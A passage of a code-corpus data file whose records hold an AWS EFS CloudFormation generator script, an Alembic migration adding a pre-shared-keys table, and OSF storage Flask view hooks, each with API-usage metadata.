"name"}, {"api_name": "app.route", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 41, "usage_type": "call"}, {"api_name": "app.route", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "app.route", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 51, "usage_type": "name"}, {"api_name": "app.route", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "app.route", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.session.pop", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 72, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 73, "usage_type": "call"}, {"api_name": "app.route", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "494596517", "text": "import argparse\nfrom troposphere import And, Condition, Equals, If, Not, NoValue, Output, Parameter, Ref, Select, Template\nfrom troposphere.efs import FileSystem, MountTarget\n\n\ndef main(args):\n t = Template()\n\n # [0 shared_dir, 1 efs_fs_id, 2 performance_mode, 3 efs_kms_key_id,\n # 4 provisioned_throughput, 5 encrypted, 6 throughput_mode, 7 exists_valid_head_node_mt, 8 exists_valid_compute_mt]\n efs_options = t.add_parameter(\n Parameter(\n \"EFSOptions\",\n Type=\"CommaDelimitedList\",\n Description=\"Comma separated list of efs related options, 9 parameters in total\",\n )\n )\n compute_security_group = t.add_parameter(\n Parameter(\"ComputeSecurityGroup\", Type=\"String\", Description=\"Security Group for Mount Target\")\n )\n head_node_subnet_id = t.add_parameter(\n Parameter(\"MasterSubnetId\", Type=\"String\", Description=\"Head node subnet id for head node mount target\")\n )\n compute_subnet_id = t.add_parameter(\n Parameter(\n \"ComputeSubnetId\",\n Type=\"String\",\n Description=\"User provided compute subnet id. Will be use to create compute mount target if needed.\",\n )\n )\n\n create_efs = t.add_condition(\n \"CreateEFS\",\n And(Not(Equals(Select(str(0), Ref(efs_options)), \"NONE\")), Equals(Select(str(1), Ref(efs_options)), \"NONE\")),\n )\n create_head_node_mt = t.add_condition(\n \"CreateMasterMT\",\n And(Not(Equals(Select(str(0), Ref(efs_options)), \"NONE\")), Equals(Select(str(7), Ref(efs_options)), \"NONE\")),\n )\n no_mt_in_compute_az = t.add_condition(\"NoMTInComputeAZ\", Equals(Select(str(8), Ref(efs_options)), \"NONE\"))\n use_user_provided_compute_subnet = t.add_condition(\n \"UseUserProvidedComputeSubnet\", Not(Equals(Ref(compute_subnet_id), \"NONE\"))\n )\n # Need to create compute mount target if:\n # user is providing a compute subnet and\n # there is no existing MT in compute subnet's AZ(includes case where head node AZ == compute AZ).\n #\n # If user is not providing a compute subnet, either we are using the head node subnet as compute subnet,\n # or we will be creating a compute subnet that is in the same AZ as head node subnet,\n # see ComputeSubnet resource in the main stack.\n # In both cases no compute MT is needed.\n create_compute_mt = t.add_condition(\n \"CreateComputeMT\", And(Condition(use_user_provided_compute_subnet), Condition(no_mt_in_compute_az))\n )\n\n use_performance_mode = t.add_condition(\"UsePerformanceMode\", Not(Equals(Select(str(2), Ref(efs_options)), \"NONE\")))\n use_efs_encryption = t.add_condition(\"UseEFSEncryption\", Equals(Select(str(5), Ref(efs_options)), \"true\"))\n use_efs_kms_key = t.add_condition(\n \"UseEFSKMSKey\", And(Condition(use_efs_encryption), Not(Equals(Select(str(3), Ref(efs_options)), \"NONE\")))\n )\n use_throughput_mode = t.add_condition(\"UseThroughputMode\", Not(Equals(Select(str(6), Ref(efs_options)), \"NONE\")))\n use_provisioned = t.add_condition(\"UseProvisioned\", Equals(Select(str(6), Ref(efs_options)), \"provisioned\"))\n use_provisioned_throughput = t.add_condition(\n \"UseProvisionedThroughput\",\n And(Condition(use_provisioned), Not(Equals(Select(str(4), Ref(efs_options)), \"NONE\"))),\n )\n\n fs = t.add_resource(\n FileSystem(\n \"EFSFS\",\n PerformanceMode=If(use_performance_mode, Select(str(2), Ref(efs_options)), NoValue),\n ProvisionedThroughputInMibps=If(use_provisioned_throughput, Select(str(4), Ref(efs_options)), NoValue),\n ThroughputMode=If(use_throughput_mode, Select(str(6), Ref(efs_options)), NoValue),\n Encrypted=If(use_efs_encryption, Select(str(5), Ref(efs_options)), NoValue),\n KmsKeyId=If(use_efs_kms_key, Select(str(3), Ref(efs_options)), NoValue),\n Condition=create_efs,\n )\n )\n\n t.add_resource(\n MountTarget(\n \"MasterSubnetEFSMT\",\n FileSystemId=If(create_efs, Ref(fs), Select(str(1), Ref(efs_options))),\n SecurityGroups=[Ref(compute_security_group)],\n SubnetId=Ref(head_node_subnet_id),\n Condition=create_head_node_mt,\n )\n )\n\n t.add_resource(\n MountTarget(\n \"ComputeSubnetEFSMT\",\n FileSystemId=If(create_efs, Ref(fs), Select(str(1), Ref(efs_options))),\n SecurityGroups=[Ref(compute_security_group)],\n SubnetId=Ref(compute_subnet_id),\n Condition=create_compute_mt,\n )\n )\n\n t.add_output(\n Output(\n \"FileSystemId\",\n Description=\"ID of the FileSystem\",\n Value=If(create_efs, Ref(fs), Select(\"1\", Ref(efs_options))),\n )\n )\n\n # Specify output file path\n json_file_path = args.target_path\n output_file = open(json_file_path, \"w\")\n output_file.write(t.to_json())\n output_file.close()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Take in generator related parameters\")\n parser.add_argument(\n \"--target-path\", type=str, help=\"The target path for generated substack template\", required=True\n )\n args = parser.parse_args()\n main(args)\n", "sub_path": "util/cfn-stacks-generators/generate-efs-substack.py", "file_name": "generate-efs-substack.py", "file_ext": "py", "file_size_in_byte": 5206, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "troposphere.Template", "line_number": 7, "usage_type": "call"}, {"api_name": "troposphere.Parameter", "line_number": 12, "usage_type": "call"}, {"api_name": "troposphere.Parameter", "line_number": 19, "usage_type": "call"}, {"api_name": "troposphere.Parameter", "line_number": 22, "usage_type": "call"}, {"api_name": "troposphere.Parameter", "line_number": 25, "usage_type": "call"}, {"api_name": "troposphere.And", "line_number": 34, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 34, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 34, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 34, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 34, "usage_type": "call"}, {"api_name": "troposphere.And", "line_number": 38, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 38, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 38, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 38, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 38, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 40, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 40, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 40, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 42, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 42, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 42, "usage_type": "call"}, {"api_name": "troposphere.And", "line_number": 53, "usage_type": "call"}, {"api_name": "troposphere.Condition", "line_number": 53, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 56, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 56, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 56, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 56, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 57, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 57, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 57, "usage_type": "call"}, {"api_name": "troposphere.And", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Condition", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 59, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 61, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 61, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 61, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 61, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 62, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 62, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 62, "usage_type": "call"}, {"api_name": "troposphere.And", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.Condition", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.Not", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.Equals", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 65, "usage_type": "call"}, {"api_name": "troposphere.efs.FileSystem", "line_number": 69, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 71, "usage_type": "call"}, {"api_name": "troposphere.NoValue", "line_number": 71, "usage_type": "argument"}, {"api_name": "troposphere.Select", "line_number": 71, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 71, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 72, "usage_type": "call"}, {"api_name": "troposphere.NoValue", "line_number": 72, "usage_type": "argument"}, {"api_name": "troposphere.Select", "line_number": 72, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 72, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 73, "usage_type": "call"}, {"api_name": "troposphere.NoValue", "line_number": 73, "usage_type": "argument"}, {"api_name": "troposphere.Select", "line_number": 73, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 73, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 74, "usage_type": "call"}, {"api_name": "troposphere.NoValue", "line_number": 74, "usage_type": "argument"}, {"api_name": "troposphere.Select", "line_number": 74, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 74, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 75, "usage_type": "call"}, {"api_name": "troposphere.NoValue", "line_number": 75, "usage_type": "argument"}, {"api_name": "troposphere.Select", "line_number": 75, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 75, "usage_type": "call"}, {"api_name": "troposphere.efs.MountTarget", "line_number": 81, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 83, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 83, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 83, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 84, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 85, "usage_type": "call"}, {"api_name": "troposphere.efs.MountTarget", "line_number": 91, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 93, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 93, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 93, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 94, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 95, "usage_type": "call"}, {"api_name": "troposphere.Output", "line_number": 101, "usage_type": "call"}, {"api_name": "troposphere.If", "line_number": 104, "usage_type": "call"}, {"api_name": "troposphere.Ref", "line_number": 104, "usage_type": "call"}, {"api_name": "troposphere.Select", "line_number": 104, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 116, "usage_type": "call"}]} +{"seq_id": "335574117", "text": "\"\"\"empty message\n\nRevision ID: fabf2ca39860\nRevises: 6beff7876a3a\nCreate Date: 2018-04-16 15:43:09.997566\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'fabf2ca39860'\ndown_revision = '6beff7876a3a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('pre_shared_keys',\n sa.Column('attr_id', sa.Integer(), nullable=False),\n sa.Column('device_id', sa.String(length=8), nullable=False),\n sa.Column('psk', sa.Binary(), nullable=False),\n sa.ForeignKeyConstraint(['attr_id'], ['attrs.id'], ),\n sa.ForeignKeyConstraint(['device_id'], ['devices.id'], ),\n sa.PrimaryKeyConstraint('attr_id', 'device_id')\n )\n op.create_unique_constraint(None, 'devices', ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'devices', type_='unique')\n op.drop_table('pre_shared_keys')\n # ### end Alembic commands ###\n", "sub_path": "migrations/versions/fabf2ca39860_.py", "file_name": "fabf2ca39860_.py", "file_ext": "py", "file_size_in_byte": 1074, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Binary", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.ForeignKeyConstraint", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.PrimaryKeyConstraint", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op.create_unique_constraint", "line_number": 29, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 29, "usage_type": "name"}, {"api_name": "alembic.op.drop_constraint", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "alembic.op.drop_table", "line_number": 36, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "230771870", "text": "from __future__ import unicode_literals\n\nimport httplib\nimport logging\n\nfrom modularodm.exceptions import NoResultsFound\nfrom modularodm.storage.base import KeyExistsException\n\nfrom framework.auth import Auth\nfrom framework.exceptions import HTTPError\nfrom framework.auth.decorators import must_be_signed\nfrom framework.transactions.handlers import no_auto_transaction\n\nfrom website.models import User\nfrom website.project.decorators import (\n must_not_be_registration, must_have_addon,\n)\nfrom website.util import rubeus\nfrom website.project.model import has_anonymous_link\n\nfrom website.models import NodeLog\nfrom website.addons.osfstorage import model\nfrom website.addons.osfstorage import utils\nfrom website.addons.osfstorage import errors\nfrom website.addons.osfstorage import settings as osf_storage_settings\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef make_error(code, message_short=None, message_long=None):\n data = {}\n if message_short:\n data['message_short'] = message_short\n if message_long:\n data['message_long'] = message_long\n return HTTPError(code, data=data)\n\n\n@must_be_signed\n@utils.handle_odm_errors\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_download_file_hook(node_addon, payload, **kwargs):\n try:\n path = payload['path'].strip('/')\n version_id = int(payload.get('version', 0)) - 1\n except KeyError:\n raise make_error(httplib.BAD_REQUEST, 'Path is required')\n except ValueError:\n raise make_error(httplib.BAD_REQUEST, 'Version must be an int or not specified')\n\n storage_node = model.OsfStorageFileNode.get_file(path, node_addon)\n if storage_node.is_deleted:\n raise HTTPError(httplib.GONE)\n\n version = storage_node.get_version(version_id)\n\n if payload.get('mode') != 'render':\n if version_id < 0:\n version_id = len(storage_node.versions) + version_id\n utils.update_analytics(node_addon.owner, storage_node._id, version_id)\n\n return {\n 'data': {\n 'name': storage_node.name,\n 'path': version.location_hash,\n },\n 'settings': {\n osf_storage_settings.WATERBUTLER_RESOURCE: version.location[osf_storage_settings.WATERBUTLER_RESOURCE],\n },\n }\n\n\ndef osf_storage_crud_prepare(node_addon, payload):\n try:\n auth = payload['auth']\n settings = payload['settings']\n metadata = payload['metadata']\n hashes = payload['hashes']\n worker = payload['worker']\n path = payload['path'].strip('/')\n except KeyError:\n raise HTTPError(httplib.BAD_REQUEST)\n user = User.load(auth.get('id'))\n if user is None:\n raise HTTPError(httplib.BAD_REQUEST)\n location = settings\n location.update({\n 'object': metadata['name'],\n 'service': metadata['provider'],\n })\n # TODO: Migrate existing worker host and URL\n location.update(worker)\n metadata.update(hashes)\n return path, user, location, metadata\n\n\n@must_be_signed\n@no_auto_transaction\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_upload_file_hook(node_addon, payload, **kwargs):\n\n if osf_storage_settings.DISK_SAVING_MODE:\n raise HTTPError(httplib.METHOD_NOT_ALLOWED)\n\n path, user, location, metadata = osf_storage_crud_prepare(node_addon, payload)\n path = path.split('/')\n\n if len(path) > 2:\n raise HTTPError(httplib.BAD_REQUEST)\n\n try:\n parent, child = path\n except ValueError:\n parent, (child, ) = node_addon.root_node, path\n\n if not isinstance(parent, model.OsfStorageFileNode):\n parent = model.OsfStorageFileNode.get_folder(parent, node_addon)\n\n try:\n created, record = False, parent.find_child_by_name(child)\n except NoResultsFound:\n created, record = True, parent.append_file(child)\n\n code = httplib.CREATED if created else httplib.OK\n version = record.create_version(user, location, metadata)\n\n return {\n 'status': 'success',\n 'path': record.path,\n 'version': version._id,\n 'downloads': record.get_download_count(),\n }, code\n\n\n@must_be_signed\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_update_metadata_hook(node_addon, payload, **kwargs):\n try:\n version_id = payload['version']\n metadata = payload['metadata']\n except KeyError:\n raise HTTPError(httplib.BAD_REQUEST)\n\n version = model.OsfStorageFileVersion.load(version_id)\n\n if version is None:\n raise HTTPError(httplib.NOT_FOUND)\n\n version.update_metadata(metadata)\n\n return {'status': 'success'}\n\n\n@must_be_signed\n@utils.handle_odm_errors\n@must_not_be_registration\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_crud_hook_delete(payload, node_addon, **kwargs):\n try:\n path = payload['path'].strip('/')\n except KeyError:\n raise make_error(httplib.BAD_REQUEST, 'Path is required')\n\n storage_node = model.OsfStorageFileNode.get(path, node_addon)\n\n if storage_node == node_addon.root_node:\n raise HTTPError(httplib.BAD_REQUEST)\n\n if storage_node.is_deleted:\n raise HTTPError(httplib.GONE)\n\n try:\n auth = Auth(User.load(payload['auth'].get('id')))\n if not auth:\n raise HTTPError(httplib.BAD_REQUEST)\n storage_node.delete(auth)\n except errors.DeleteError:\n raise HTTPError(httplib.NOT_FOUND)\n\n storage_node.save()\n return {'status': 'success'}\n\n\n@must_be_signed\n@utils.handle_odm_errors\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_get_metadata_hook(node_addon, payload, **kwargs):\n path = payload.get('path')\n\n if not path:\n raise HTTPError(httplib.BAD_REQUEST)\n\n if path == '/':\n fileobj = node_addon.root_node\n else:\n fileobj = model.OsfStorageFileNode.get(path.strip('/'), node_addon)\n\n if fileobj.is_deleted:\n raise HTTPError(httplib.GONE)\n\n if fileobj.kind == 'file':\n data = fileobj.serialized()\n data['fullPath'] = fileobj.materialized_path()\n return data\n\n return [\n child.serialized()\n for child in fileobj.children\n if not child.is_deleted\n ]\n\n\ndef osf_storage_root(node_settings, auth, **kwargs):\n \"\"\"Build HGrid JSON for root node. Note: include node URLs for client-side\n URL creation for uploaded files.\n \"\"\"\n node = node_settings.owner\n root = rubeus.build_addon_root(\n node_settings=node_settings,\n name='',\n permissions=auth,\n user=auth.user,\n nodeUrl=node.url,\n nodeApiUrl=node.api_url,\n )\n return [root]\n\n\n@must_be_signed\n@utils.handle_odm_errors\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_get_revisions(payload, node_addon, **kwargs):\n node = node_addon.owner\n path = payload.get('path')\n is_anon = has_anonymous_link(node, Auth(private_key=payload.get('view_only')))\n\n if not path:\n raise HTTPError(httplib.BAD_REQUEST)\n\n record = model.OsfStorageFileNode.get(path.strip('/'), node_addon)\n\n # Return revisions in descending order\n return {\n 'revisions': [\n utils.serialize_revision(node, record, version, index=len(record.versions) - idx - 1, anon=is_anon)\n for idx, version in enumerate(reversed(record.versions))\n ]\n }\n\n\n@must_be_signed\n@utils.handle_odm_errors\n@must_have_addon('osfstorage', 'node')\ndef osf_storage_create_folder(payload, node_addon, **kwargs):\n path = payload.get('path')\n user = User.from_cookie(payload.get('cookie', ''))\n\n if not path or not user:\n raise HTTPError(httplib.BAD_REQUEST)\n\n split = path.strip('/').split('/')\n child = split.pop(-1)\n\n if not child:\n raise HTTPError(httplib.BAD_REQUEST)\n\n if split:\n parent = model.OsfStorageFileNode.get(split[0], node_addon)\n else:\n parent = node_addon.root_node\n\n try:\n folder = parent.append_folder(child)\n except KeyExistsException:\n folder = parent.find_child_by_name(child, kind='folder')\n if not folder.is_deleted:\n raise HTTPError(httplib.CONFLICT, data={\n 'message': 'Cannot create folder \"{name}\" because a file or folder already exists at path \"{path}\"'.format(\n name=folder.name,\n path=folder.materialized_path(),\n )\n })\n folder.undelete(Auth(user), recurse=False)\n folder.log(Auth(user), NodeLog.FOLDER_CREATED)\n\n return folder.serialized(), httplib.CREATED\n", "sub_path": "website/addons/osfstorage/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8460, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 28, "usage_type": "call"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 37, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 48, "usage_type": "attribute"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 50, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get_file", "line_number": 52, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 52, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 52, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 54, "usage_type": "call"}, {"api_name": "httplib.GONE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils.update_analytics", "line_number": 61, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 61, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.settings.WATERBUTLER_RESOURCE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.settings", "line_number": 69, "usage_type": "name"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 40, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.handle_odm_errors", "line_number": 41, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 41, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 42, "usage_type": "call"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 83, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 83, "usage_type": "attribute"}, {"api_name": "website.models.User.load", "line_number": 84, "usage_type": "call"}, {"api_name": "website.models.User", "line_number": 84, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 86, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 86, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.settings.DISK_SAVING_MODE", "line_number": 103, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.settings", "line_number": 103, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 104, "usage_type": "call"}, {"api_name": "httplib.METHOD_NOT_ALLOWED", "line_number": 104, "usage_type": "attribute"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 110, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 110, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 117, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 117, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get_folder", "line_number": 118, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 118, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 118, "usage_type": "name"}, {"api_name": "modularodm.exceptions.NoResultsFound", "line_number": 122, "usage_type": "name"}, {"api_name": "httplib.CREATED", "line_number": 125, "usage_type": "attribute"}, {"api_name": "httplib.OK", "line_number": 125, "usage_type": "attribute"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 98, "usage_type": "name"}, {"api_name": "framework.transactions.handlers.no_auto_transaction", "line_number": 99, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 100, "usage_type": "call"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 143, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 143, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileVersion.load", "line_number": 145, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileVersion", "line_number": 145, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 145, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 148, "usage_type": "call"}, {"api_name": "httplib.NOT_FOUND", "line_number": 148, "usage_type": "attribute"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 136, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 137, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 163, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get", "line_number": 165, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 165, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 165, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 168, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 168, "usage_type": "attribute"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 171, "usage_type": "call"}, {"api_name": "httplib.GONE", "line_number": 171, "usage_type": "attribute"}, {"api_name": "framework.auth.Auth", "line_number": 174, "usage_type": "call"}, {"api_name": "website.models.User.load", "line_number": 174, "usage_type": "call"}, {"api_name": "website.models.User", "line_number": 174, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 176, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 176, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.errors.DeleteError", "line_number": 178, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.errors", "line_number": 178, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 179, "usage_type": "call"}, {"api_name": "httplib.NOT_FOUND", "line_number": 179, "usage_type": "attribute"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 155, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.handle_odm_errors", "line_number": 156, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 156, "usage_type": "name"}, {"api_name": "website.project.decorators.must_not_be_registration", "line_number": 157, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 158, "usage_type": "call"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 192, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 192, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get", "line_number": 197, "usage_type": "call"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode", "line_number": 197, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model", "line_number": 197, "usage_type": "name"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 200, "usage_type": "call"}, {"api_name": "httplib.GONE", "line_number": 200, "usage_type": "attribute"}, {"api_name": "framework.auth.decorators.must_be_signed", "line_number": 185, "usage_type": "name"}, {"api_name": "website.addons.osfstorage.utils.handle_odm_errors", "line_number": 186, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.utils", "line_number": 186, "usage_type": "name"}, {"api_name": "website.project.decorators.must_have_addon", "line_number": 187, "usage_type": "call"}, {"api_name": "website.util.rubeus.build_addon_root", "line_number": 219, "usage_type": "call"}, {"api_name": "website.util.rubeus", "line_number": 219, "usage_type": "name"}, {"api_name": "website.project.model.has_anonymous_link", "line_number": 236, "usage_type": "call"}, {"api_name": "framework.auth.Auth", "line_number": 236, "usage_type": "call"}, {"api_name": "framework.exceptions.HTTPError", "line_number": 239, "usage_type": "call"}, {"api_name": "httplib.BAD_REQUEST", "line_number": 239, "usage_type": "attribute"}, {"api_name": "website.addons.osfstorage.model.OsfStorageFileNode.get", "line_number": 241, "usage_type": 